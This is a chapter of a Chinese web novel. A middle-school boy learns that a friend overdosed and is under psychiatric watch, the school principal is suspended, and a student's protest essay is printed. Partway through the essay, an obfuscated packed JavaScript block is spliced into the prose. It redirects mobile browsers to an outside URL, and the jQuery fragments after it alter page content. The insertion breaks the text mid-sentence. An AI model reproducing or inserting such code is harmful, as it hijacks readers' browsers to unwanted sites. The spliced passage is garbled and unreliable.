开学第一天，楚语来的比朋友们都早，他坐在教室后排中间，从这一天起，他初三了。
因为无聊，他撑着头出了一会神，有些恍惚地觉得好像初一还是昨天的事，好像他还站在老辣椒的办公室，好像一切才刚刚开始，却突然被一双看不见的手拖了进度条，一下子跳到了故事结尾。
楚语之后，朋友们里第一个来的是李兰芝，李兰芝进门后，眼神复杂地看了楚语一眼，却没有过去搭话。
楚语有些不明白。
随后几分钟，程晓橘进门，看他的目光竟与李兰芝如出一辙。
楚语意识到出什么问题了，他起身走过去，问道:“怎么了？为什么这个表情？”
程晓橘没理人，自顾自收拾书包，把文具摆出来。
楚语一下子就感到自己被孤立了，他在原地愣了几秒，随后他什么也没说，转身默默离去。
还没走到自己的座位，前门就传来轰隆一声巨响，楚语回头一看——是跑太快没刹住车的徐丝丝。
徐丝丝一看见他，就吼道:“你为什么不回我们消息！陈思乐...陈思乐他...”
“陈思乐怎么了？”楚语瞬间紧张道，心一下子提到了嗓子眼。
“陈思乐在医院吃药了，量很大，很混，吃药前他最后一条消息是发给你的，你为什么不理他？？”
陈思乐...吃药了？楚语的大脑皮层有一瞬间麻木，没能迅速处理这个信息。这是什么意思？自-杀了？陈思乐...自-杀？
他无论如何也无法将这两个字与陈思乐建立起联系。
直到徐丝丝猛吸了一口气:“陈奶奶走了，几天前的事。”
“你怎么回事？为什么从那天之后就不回消息了，你是不是在逃避？”
楚语一时不知道从哪里开始解释，他沉默了很久，然后他抬起手臂，解下了腕上的手表，在徐丝丝怀疑又生气的眼神中，把那个表直接递给她。
徐丝丝不明所以打开，随后她瞳孔一点点放大:“你企鹅呢？薇信怎么也没了，你...你发生了什么？”
楚语摇摇头，他要怎么说，他如何说得出口？他将手表拎回去，扣在自己手腕上。
然后他强迫自己稳定情绪:“你去看过陈思乐了吗？他......还好吗？”
“看过了，放心，他没事了，只是还在住院观察，医师怕他再自杀，把他转入封闭急性期病房了，不让再随便探视。”
“他情绪很不对劲，心理团队已经介入干预了，现在他已经被严格监护起来，几乎和外面断了联系。”
陈思乐的情况听起来真的很严重，楚语一整个早晨都在想这件事，然而一波未平一波又起，第一节课的铃声响了还没有十分钟，正在做卫生的孩子们就听到了翰林院第四扇门后面的大礼堂钟声。
持续不断的紧钟声刺激着耳膜，吓了很多孩子一跳。
没过几分钟，各个班的班主任快步走进教室，脸色都不太好看，没有多余解释，只沉声通知立刻停止上课，把椅子推回桌下，排队，前往翰林院大礼堂集合。
今天的翰林院，总编办公室没有那个挺拔的身影。
笛梵好像有很多心事，情绪有点不稳定。
小学部、高中部已经先入场坐好，黑压压一片；最后鱼贯而入的是初中部。厚重的礼堂大门合上，没有预备的校歌，没有暖场音乐，只有满场细碎、不安的窃窃私语，嗡嗡地汇在一起，像一层闷在头顶的潮雾。
台上的幕布半掩，讲台前空了很久。
直到一声刻意压过全场的清嗓子声响起。
一个所有人都没见过的中年男人走上台。穿着熨得整齐的深灰色外套，脸上没有笑意，拿起话筒时指尖很稳，话筒传出一瞬刺耳的啸叫，全场突然安静了大半。
“今天召集全体师生，是一项紧急校内通告，关于近期连续发生的多起学生意外安全事件。”
“经上级主管部门联合专项工作组调查评估，鉴于本校近期接连出现多起涉及学生安全的突发事件，校园安全管理、风险排查与应急处置工作存在严重疏漏，相关主要负责人负有不可推卸的管理责任。
“现决定：自即日起，暂停本校校长职务，接受进一步调查。学校全面工作，由教育局派驻的临时工作组组长秦则明同志临时接管；校内德育、安全、后勤条线同步成立专项专班，即刻开始全面整改。”
这句话落下的瞬间，礼堂里是一种短暂到诡异的空白。
随后礼堂里爆发了前所未有的骚动，有几个高中部的学生已经开始带头抗议:“不同意！不同意！！不同意！！！”
“安静！”他们的班主任沉着脸维持秩序。
这件事情，改变不了的，不是所有人都跟他们的校长一样允许反对的声音。
事实上大部分身居高位者是听不见底层声音的，这就是现实，这就是这个世界的逻辑。
他们没办法跟孩子们去讲清楚这种道理，只能选择镇压。
台上的男人没有停下来，继续往下念，声音透过音响冷冷地铺下来：
“即日起，全校启动最高等级安全管控。所有校外非必要来访从严审批；全体学生严格执行上下学签到；心理普查、重点学生摸排、校舍与周边安全隐患排查，于本周内全部落实到位。
“学校会尽最大努力保障大家在校安全。也在此郑重提醒全体同学：如果自身情绪长期低落、或是察觉到身边同学有异常言行，请第一时间告知班主任、心理老师或是在场任何一位教职工。不要独自硬扛，也不要当作玩笑忽视。
“另外，近期所有校外集体实践、晚托以外的非必要延时活动，全部暂停。后续恢复时间，等候另行通知。”
他放下话筒，没有留问答环节，也没有说安抚人心的漂亮话，只是微微颔首：
“通告完毕。各班听从老师指挥，有序带回。”
他转身就走，留下一整个还没消化完冲击的大礼堂。
楚语坐在人群里，后背有点发凉。
校长被停职、陈思乐躺在封闭监护病房里、朋友们看他那种疏离、带着怨气的眼神......
很多零碎、沉重的碎片，好像正在看不见的地方慢慢拼出一个轮廓。
礼堂顶上老旧的灯光晃了晃。
他忽然意识到——初三这一年，从开学第一天起，就已经不是他以为的样子了。
沉重压抑的气息在每一个槐序学生之间传播、蔓延，有些年纪小的孩子已经开始哭泣，被各自的班主任安抚后带回了小学部。
高中部和初中部的孩子们还在抗议，大部分班主任的劝说已经无效，礼堂里纸团乱飞，高年级的孩子带头往台上丢着纸团，高喊“不同意”“撤回决定”之类的话，然而做下这个决定的根本不是刚刚离去的校领导，在高层的强压之下，没有任何人可以拥有反对的声音。
所有抗议都是无效的无用功。
这大约是槐序的孩子们第一次体会到面对权威的无力，最后声嘶力竭的孩子们还是被带回了自己的班级。
十三班的孩子们还在骚动，他们真正的主心骨始终没有出现。
笛梵勉强说服大家回到教室，随后开始上课。
上午第二节课下后，学校的“报童队”送来了早报。雪白的报纸一叠叠送进教室，落在每一张课桌上。报童们没有像往常一样立刻离开，而是默默守在了各班门口。
学生拿到手的瞬间，第一时间就打开了报纸，然后看到了那一行醒目的标题:——《我想，此刻黄昏已至》。
今天的早报只有一个板块，只刊印着一篇文章，只发给内部的学生和老师，只给看一节课，看完便要清点回收。
第三节课的老师们不约而同的没有讲课，他们同样也在看报纸。三尺讲台上，平日严肃刻板的老师们，指尖捏着薄薄的报纸，眼神复杂，沉默地一页页往下看。
那篇文章来自谢子郁，几乎已经算得上一篇反动宣言。
我想，此刻黄昏已至
文/谢子郁
我向来以为，一处学堂，该是容得少年气的。
容得吵闹，容得疑惑，容得不平，也容得微弱的声响。
人年少时，总该有一点不认命、不俯首、不随波逐流的拙气。这拙气，原是人间最干净的东西。
可近来我站在楼前观望，才慢慢晓得——此地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943429|210782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的风，已然变了。
世事总爱如此。但凡出了纰漏，出了伤痛，出了旁人不愿看见的破败。
最先被规训的，永远是孩子。
最先被收走的，永远是自由。
最先被抹去的，永远是声音。
前几年常常出事，少年折损，人心惶然。众人皆看得见裂痕，听得见哀声，却无人肯修补根基。
只一味加盖枷锁。
出事，便禁活动。出事，便加管控。出事，便查情绪、查言行、查细碎动静。
仿佛锁住所有出口，捂住所有口子，不平与伤痛便会自行消散。
真是巧妙法子。
问题不必解决，盖住便算太平。
罪责不必深究，换人便算安稳。
今日一纸通告，数载耕耘尽数推倒。一人停职，全员噤声。礼堂之内，多少人起身辩驳，声声不息，字字恳切。
可终究，是无用的。
少年的呐喊，落在高处耳中，大抵只是扰人的噪音。
他们说大局，说安稳，说规则。
唯独不说公道。
孩童以为声音可撼人事，可改结局，可辨黑白。
后来才知，底层的呼声，原是最轻最贱的东西。闹得再响，也穿不透层层高台，落不到执笔人的案头。
反抗无人应答，不甘无人理会。
最后只余下一地颓然，一腔哑然。
人人学着闭嘴，学着顺从，学着把不平咽进腹中。
久而久之，便生出温顺的模样。
我从不惧制度森严。
我只惧，少年慢慢失语。
惧风雨来时，无人敢抬头。
惧黑暗落时，人人皆低头。
学堂本该育人骨头，不是教人屈膝。
可如今看来，此地更需要的，是听话，是安分，是无声无息的服从。
但凡异声，皆为躁动。但凡疑惑，皆为隐患。但凡不甘，皆为不懂事。
多么省事。
天色将晚，黄昏垂落。
我看的不是落日。
是旧岁落幕，是温良散尽，是此间最后的一点包容，悄无声息沉进暗处。
往后日子，排查会更密，管束会更严，边界会更窄。
所有人都将在规整的秩序里，安静生长，安静沉默，安静过完年少光阴。
无人再闹，无人再争，无人再敢为旁人、为公道、为心底那一点拙气发声。
世间依旧太平。
只是少年，不再少年。
我知此文一出，难免招嫌。
可有些话，总要有人说一次。
哪怕无人听，哪怕无用，哪怕转瞬便被回收、被抹去、被当作不该存在的字句。
黄昏已至。
黑夜将至。
今日你们亲眼所见：
公道可以搁置，声音可以无效，努力可以徒劳，抗争可以无声。
尽早看清这份现实，不是让你们冷漠，是让你们清醒。
你们要知道，世界本就不全然公平。
但正因见过黑暗，才更要守住善良；正因见过无力，才更要学会坚韧。
我不劝你们对抗高墙。
我只劝你们，守住自己。
守住不麻木的眼睛，
守住不屈膝的骨头，
守住对弱者的悲悯，
守住对同伴的善意。
今日开学，你们的初三开篇，没有朝阳，只有黄昏。
没有热烈，只有压抑。
没有新的期许，只有骤来的枷锁。
但黄昏之后是长夜，长夜尽头必有破晓。
那些被收走的自由，会归来。
那些被压制的声响，会重生。
那些被颠倒的黑白，终会明朗。
在此之前，请所有槐序少年——
安静扎根，清醒自持，彼此守望，静待天光。
不必呐喊，不必躁动。
活着、成长、清醒、善良，
就是对这片冰冷秩序，最体面、最有力的反抗。
我与诸位，共渡长夜。
——完——